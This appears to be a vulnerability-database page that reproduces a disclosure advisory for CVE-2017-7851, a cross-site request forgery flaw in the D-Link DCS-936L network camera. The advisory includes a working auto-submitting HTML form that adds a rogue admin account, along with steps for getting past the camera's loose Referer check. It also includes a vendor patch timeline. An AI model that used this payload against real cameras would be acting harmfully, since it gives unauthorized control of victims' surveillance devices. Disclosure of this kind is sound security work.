D-Link DCS-936L Network Camera - Cross-Site Request Forgery

🗓️ 26 Mar 2017 00:00:00Reported by SlidingWindowType

D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability on firmware 1.02.01 allows unauthorized access and user manipulation

Reporter	Title	Published	Views	Family All 10
0day.today	DLink DCS-936L Network Camera Cross-Site Request Forgery Vulnerability	16 Nov 201700:00	–	zdt
CNVD	D-Link DCS-936L Cross-Site Request Forgery Vulnerability	17 Nov 201700:00	–	cnvd
CVE	CVE-2017-7851	15 Nov 201708:00	–	cve
Cvelist	CVE-2017-7851	15 Nov 201708:00	–	cvelist
EUVD	EUVD-2017-16826	7 Oct 202500:30	–	euvd
exploitpack	D-Link DCS-936L Network Camera - Cross-Site Request Forgery	26 Mar 201700:00	–	exploitpack
NVD	CVE-2017-7851	15 Nov 201708:29	–	nvd
Packet Storm	D-Link DCS-936L Cross Site Request Forgery	17 Nov 201700:00	–	packetstorm
Prion	Cross site request forgery (csrf)	15 Nov 201708:29	–	prion
Positive Technologies	PT-2017-17953 · D Link · Dcs-936L	15 Nov 201700:00	–	ptsecurity

# Exploit Title: [D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability]
# Date: [26/03/2017]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://us.dlink.com/product-category/home-solutions/view/network-cameras/]
# Version: [Tested on DCS-936L with firmware version 1.03. Other versions/models are also be affected]
# Tested on: [DCS-936L with firmware version 1.02.01]
# CVE : [CVE-2017-7851]

==================
#Product:-
==================
Small and unobtrusive, SecuriCam™ IP surveillance solutions from D-Link allow you to monitor your offices or warehouses from anywhere - at anytime. Extreme Low LUX optics, 2 way audio, and full pan/tilt/zoom manipulation provide everything an SMB needs to safeguard their valuable resources.

==================
#Vulnerability:-
==================
D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability. 

========================
#Vulnerability Details:-
========================

=============================================================================================================================
D-Link DCS-936L network camera incomplete/weak CSRF protection vulnerability (CVE-2017-7851)
=============================================================================================================================
D-Link DCS-936L devices with firmware 1.02.01 have CSRF. If a victim is logged into the camera's web console and visits a malicious site hosting a <Target_Device_IP.HTML> from another tab in the same browser, the malicious site can send requests to the victim's device. An attacker can add a new user, replace the firmware image with a malicious one, or connect the victim's device to a rogue Wireless Network.

An attacker can easily find out public IP address of victim's device on Shodan or similar search engines to create <Target_Device_IP.HTML> file. Victim must be logged into the camera's web console and visit attacker's site from another tab in the same browser.

#Proof-of-Concept:-
-------------------
D-Link DCS-936L prevents CSRF attack by looking at ‘Referer’ header. The ‘Referer’ IP should match with the one in ‘HOST’ header. If it does not, HTTP 403 is returned in the response. However, this device does not perform a strict check on ‘Referer’ header. It seems that it looks for the device’s IP address (which is the one in ‘HOST’ header) anywhere in the ‘Referer’ header. If found, it happily accepts the request.
An unauthenticated, remote attacker could host a malicious site that makes requests to the victim’s device without having credentials. In a targeted attack, an attacker needs to trick victim to visit a malicious site that exploits this vulnerability.

1. Attacker hosts a ‘<target_ip>.html’ on <attacking_ip>

	<html>
	<body>
		<form id="CSRF" action="http://<target_ip>/eng/admin/tools_admin.cgi" method="POST">
			<input type="hidden" name="user" value="hacker">
			<input type="hidden" name="action" value="set">
			<input type="hidden" name="password" value="abc123">
			<input type="hidden" name="confirmPassword" value="abc123">
		</form>

			<script>
					window.onload = function(){
							document.forms['CSRF'].submit()
					}
			</script>

	</body>

	</html>


2. Victim logs into his device.
3. Victim then visits attackers site http://<attacking_ip>/<target_ip>.html 
4. Above request adds a new user ‘Hacker’ which reboots the web server.
6. Browser sends add new user request to the target device <target_ip>. Victim's browser sets 'Referer' header to 'http://<attacking_ip>/<target_ip>.html'. As this contains the IP address of the device (<target_ip>), this request is processed successfully.
7. Server response shows user hacker added successfully:
8. Attacker can now log into the device as hacker/abc123

===================================
#Vulnerability Disclosure Timeline:
===================================

26/03/2017: First email to disclose vulnerability to D-Link incident response team.
26/03/2017: Vendor acknowledged the report.
25/05/2017: Vendor confirmed that development has been completed and it's undergoing security audit.
13/10/2017: Firmwared released to production: ftp://ftp2.dlink.com/PRODUCTS/DCS-936L/REVA/DCS-936L_REVA_FIRMWARE_v1.05.07.zip
13/11/2017: DCS-936L Firmware Release Notes: ftp://ftp2.dlink.com/PRODUCTS/DCS-936L/REVA/DCS-936L_REVA_RELEASE_NOTES_v1.05.07.pdf
15/11/2017: Published CVE-2017-7851

26 Mar 2017 00:00Current

7High risk

Vulners AI Score7

CVSS 26.8

CVSS 38.8

EPSS0.00285